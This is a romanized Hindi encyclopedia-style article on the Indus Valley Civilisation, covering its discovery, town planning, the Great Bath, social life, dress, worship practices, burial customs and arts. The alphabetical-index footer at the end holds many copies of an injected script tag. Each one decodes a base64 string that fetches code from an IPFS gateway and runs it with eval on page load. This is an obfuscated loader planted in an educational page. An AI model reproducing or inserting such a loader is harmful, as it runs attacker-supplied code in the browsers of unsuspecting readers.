सिंधु घाटी सभ्यता की विशेषताएँ

sindhu ghati ki sabhyata ki khoj ka shrey ‘rayabahadur dayaram sahani’ ko jata hai. unhoanne hi puratattv sarvekshan vibhag ke mahanideshak sar j aaun marshal ke nirdeshan mean san 1921 mean is sthan ki khudaee karavayi. lagabhag ek varsh bad san 1922 mean rakhaladas banarji ke netritv mean pakistan ke siandh prant ke larakana jile ke mohanajoda do mean sthit ek bauddh stoop ki khudaee ke samay ek aur sthan ka pata chala.

visheshataean

nagar nirman yojana

sindhu ghati sabhyata ka svaroop nagariy tha. sindhu sabhyata ki nagar yojana ki adhar samagri mohanajod do, h dappa, chanhood doan, kalibanga, lothal, banavali adi se prapt hoti hai. sindhu sabhyata nagaroan mean chau di-chau di s dakean, poorv se pashchim aur uttar se dakshin disha ki or thi. ye s dakean ek doosare ko prayah samakon par katati thian. is prakar pratyek nagar anek khandoan (muhalloan) mean bant jata tha. ek s dak 11 mitar chau di thi jo sambhavatah rajamarg rahi hogi. nagar ki sabhi s dakean rajamarg se milati thian. nagaroan mean jal nikas ka bhi samuchit prabandh tha. s dakoan ke kinare naliyaan thi, jo pakki evan dhaki hoti thian. inamean menahol bhi banaya jata tha.

vishal snanagar ek vishal bhavan mean sthit hai. isaka jalashay ayatakar hai. yah 39 phit chau da evan 8 phit gahara hai. isake pratyek or jal tak pahuanchane ke lie eetoan ki sidhiyaan haian. jalashay ki divar evan pharsh pakki eetoan se bana hai. jalashay mean jal nikas ki samuchit vyavastha ki gee hai. isake charoan or baramade haian tatha inake pichhe kamare bane hue haian.

samajik jivan

utkhanan se prapt samagri evan srotoan se sindhu sabhyatakalin samajik sthiti, tatkalin khan-pan, veshabhoosha, abhooshan, prasadhan samagri adi ke vishay mean mahatvapoorn janakari prapt huee hai. jo nimnalikhit hai-

samajik sangathan

sindhu sabhyata ka samaj mukhyatah vargahin samaj hi tha. samaj mukhyatah vyapar pradhan hi tha. isamean mukhyavarg–vyapari, yoddha, shramajivi, vidvan adi the. sambhavatah is sabhyata ke antargat samaj ‘matripradhan tha.

krishi phasal evan ahar

sindhu sabhyata ke log mukhyatah nau prakar ki phasal ugate the. mukhy phasal evan ahar- gehooan, jau, chaval, matar, doodh, sabjiyaan, phal tatha bhe d, gay, machhali, murgo adi jantuoan ke maans the.

veshabhoosha ev abhooshan

sharir par do vastr dharan kie jate the. pratham ek adhunik shal ke saman kap da hota tha jise kandhe ke oopar tatha dahini bhuja ke niche se nikalakar pahanate the. jisase dahina hath kary karane ke lie svatantr rahe. doosara vastr sharir par niche pahana jata tha, jo adhunik dhoti ke saman hota tha. striyoan aur purushoan ke vastroan mean vishesh antar nahian tha. sadharanatah sooti kap de pahane jate the parantu ooni vastroan ka bhi prachalan tha.

stri-purush donoan hi aangoothi, k de, kangan, kanthahar, kundal adi pahanate the. striyaan-choo diyaan, karnaphool, hansali, bhujaband, karadhani adi bhi pahanati thian. ye abhooshan sone, chaandi, hathi daant, hiroan adi se banaye jate the. nirdhan vyakti taanbe, mitti, sip adi ke abhooshan pahanate the.

prasadhan samagri

striyoan ko prasadhan atyant priy tha. vah lipastik ka prayog karati thian. lipastik chanhood doan se prapt huee hai.

amod-pramod ke sadhan

sindhu sabhyata ke nivasiyoan ke amod-pramod ke pramukh sadhan jua khelana, shikar khelana, nachana, gana, murgoan ki l daee dekhana adi tha.

aushadhiyaan

sindhu sabhyata nivasi vibhinn aushadhiyoan se parichit the. is sabhyata mean khop di ki shaly chikitsa ke udaharan kalibanga evan lothal se prapt hote haian.

grihasthi ke upakaran

is sabhyata ke nivasi gh de, kalash, thali, gilas, chammach, mitti ke kulh d ka prayog karate the. kabhi-kabhi sone, taanbe evan chaandi ke bartanoan ka bhi prayog karate the.

dharmik jivan

sindhu nivasi nimnalikhit devi-devataoan ki aradhana karate the-
vriksh-pooja – pauranik kal se pipal, nim, aanvala adi vrikshoan ki pooja samaj mean ki jati hai tatha isase sambandhit anek tyoharoan ko manyata bhi di gee hai. siandhu ghati ki sabhyata mean bhi vriksh pooja ka chalan tha tabhi vahaan se prapt thikaroan par anek vrikshoan ki akritiyaan aankit haian. inase pattoan ke adhar par pipal ke vriksh ki pahachan to ho jati hai par yah asambhav nahian ki isi prakar any vrikshoan ki bhi mahatta is samay rahi ho. ek thikare par bani akriti mean ek siangavale pashu ke do sir bane haian jinake oopar pipal ki komal pattiyaan phootati huee dikhati haian. dirghayu, svasthy ke lie labhakari hone ke karan aj ki tarah us samay bhi pipal ke vriksh ke sambhavatah poojy man liya gaya hoga. sambhavatah tab se ab tak usaki dharmik mahatta bani rahi.

rrigved mean ashvatth ki mahatta ka ullekh bhi pipal ka hi bodhak hai. doosari muhar par devata ki mudra nagn moorti bani hai. unake donoan or pipal ki do shakhaean aankit haian. yahaan ki ek muhar vandana ki mean jhuki ek moorti hai jisake bal lambe haian. usake pichhe manav ke chehare vale vrish tatha bakare ki mili-juli akriti aankit hai. samane pipal ka pe d hai lagata hai ki ye pashu vriksh devata ke vahan ke roop mean aankit kie ge haian. shuangakala mean saanchi tatha bharahut mean aise vriksh deviyoan ki anek akritiyaan aankit haian. jinhean dohad ki avastha mean aankit yakshini kaha jata hai. in bhinnataoan ke adhar par d aau. mukharji ke anusar vahaan par do prakar ki vriksh-pooja prachalit thi-ek vriksh ki pooja tatha doosare vriksh adhidevata ki pooja.

pashu-pooja- vahaan ki muharoan par anek prakar ke pashuoan ka aankan mila hai. vividhata aur sankhya mean pashu aankan ki adhikata ko dekhakar aisa lagata hai ki ye pashuoan ko devata ka aansh manate the. yah vishvas hai ki pahale pashuoan ke roop mean devataoan ko svikar kiya jata tha. bad mean inaka manaviy roop aangikar kiya gaya. isi se pratyek puratan sabhyata mean pashu-pooja ka chalan milata hai. isaka praman hai ki prayah pratyek devata ke sath ek vahan ka ju da hona aj bhi svikar kiya jata hai. doosare is sabhyata mean ham dekhate haian manushyoan ke roop mean nirmit devataoan ke sir par siang dharan karane ki kalpana yahaan ki gayi hai. siang ko shakti ka pratik mana jata tha isi se isako manav roop dhari dev bhi kahate the. isilie aj jinhean ham devatavahan manate haian jaise- gaianda, bail, hathi, bhaians, kutta adi inake bhi chitran yahaan ki muharoan par milate haian.

bail ki pooja vishesh roop se yahaan hoti hogi kyoanki isake vividh prakaroan ka aankan yahaan ki muharoan par bahut matra se dikhata hai. lagata hai shiv ke sath bail ka sambandh isi sabhyata se shuroo hua tha kyoanki yahaan in donoan ki sath akritiyaan muharoan par bahulata se aankit milati haian. kuchh pashu aise bhi bane haian jo kalpanik pratit hote haian. aj bhi unaka vastavik shivaroop prapt nahian hota. inamean ham aise pashuoan ko le sakate haian jinaki rachana vibhinn pashuoan ke aangoan ke yog se ki gee haian. anyatha ye manav aur pashu ki mili-juli moorti ho. ek thikare par manav sir se yukt bakare ki akriti hai. ek thikare par aisa pashu hai jisaka sir gaiande ka, pith kisi doosare pashu ki, pooanchh kisi any pashu ki hai. kuchh pashuoan ki aisi akritiyaan yahaan bani haian jinake samane nad bana hai aur ve usamean se kuchh khate hue dikhate haian. kitane pashuoan ki khop di dhoopadani ki tarah katoranuma bani hai. inamean sambhavatah pooja ke samay dhoop jalaya jata hoga kyoanki unake kinaroan par dhuean ke chihn bane haian. lagata hai ki pashu-poojan mean dhoop jalane ka bhi prachalan tha.

shiv ki pooja- mohanajod do se maike ko ek muhar prapt huee jis par aankit devata ko marshal ne shiv ka adi roop mana aj bhi hamare dharm mean shiv ki sarvadhik mahatta hai.

matri devi ki pooja- saindhav sanskriti se sarvadhik sankhya mean nari mriny moortiyaan milane se matri devi ki pooja ka pata chalata hai. yahaan ke log matri devi ki pooja prithvi ki urvara shakti ke roop mean karate the (h dappa se prapt muhar ke adhar par).

moorti pooja– h dappa sanskriti ke samay se moorti pooja prarambh ho gee thi. h dappa kuchh akritiyaan prapt huee hai. isi prakar kuchh dakshin ki moortiyoan mean dhuyean ke nishan bane hue haian jisake adhar par yahaan moorti pooja ka anuman lagaya jata hai.

h dappa kal ke bad uttar vaidik yug mean moorti pooja ke prarambh ka sanket milata hai halaanki moorti pooja gupt kal se prachalit huee jab pahali bar mandiroan ka nirman prarambh hua.

'jalapooja'– mohanajod do se prapt snanagar ke adhar par.

soory pooja- mohanajod do se prapt svastik pratikoan ke adhar par. svastik pratik ka sambandh soory pooja se lagaya jata hai.

nag pooja- muharoan par nagoan ke aankan ke adhar par.

mritak sanskar

sindhu nivasi dharmik vishvasoan ke adhar par tin prakar se mritakoan ka antim sanskar karate the-

poorn samadhi- mritak ko jamin mean ga d diya jata tha. vahaan samadhi banaee jati thi. lothal mean do kankal ek hi kabr mean daphanae mile haian.

aanshik samadhi- isamean mritak ko pahale pashu-pakshiyoan ka ahar banane ke lie khule sthan par chho da jata tha tatha bad mean usaki asthiyoan ko patr mean rakhakar bhoomi mean rakha jata tha.

dah karm- isamean shav ko jalakar usaki rakh tatha asthiyoan ko kalash mean rakhakar bhoomi mean ga d diya jata tha. mohanajod do mean aise kalash prapt hue haian.

kala

kala evan lalitakala ki janakari hamean nimnalikhit ke dvara prapt hoti hai-

bhavan nirman kala- vishal annagar, makan, suniyojit nagar adi unaki kala ko pramanit karate haian.

moortikala- sindhu nivasi moortiyaan banane mean kushal the. us samay ki dhatu, pashan evan mitti ki moortiyaan prapt huee haian jinamean dharmik devi-devataoan, upasikaoan adi ki pramukh haian.

dhatu kala- sindhu nivasi sone, chaandi, taanbe. adi ke abhooshanoan ka nirman karate the. mohanajod do se prapt kaanse ki nartaki ki moorti isaka mukhy udaharan hai.

chitrakala- is sabhyata ke logoan ko chitrakala ka bhi jnan tha. jisaki pushti prapt bartanoan evan muharoan par chitrit chitroan se hoti hai.

'sangit evan nrityakala- sangit sambandhi upakaran dhol, tabala adi khudaee se prapt hue haian. nrity mudra mean stri ki dhatu moorti is bat ka parichayak hai ki ve nrity kala mean ruchi rakhate the.

tamrapatr nirman kala- sindhu sabhyata kalin anek tamrapatr prapt hue haian jo vargakar haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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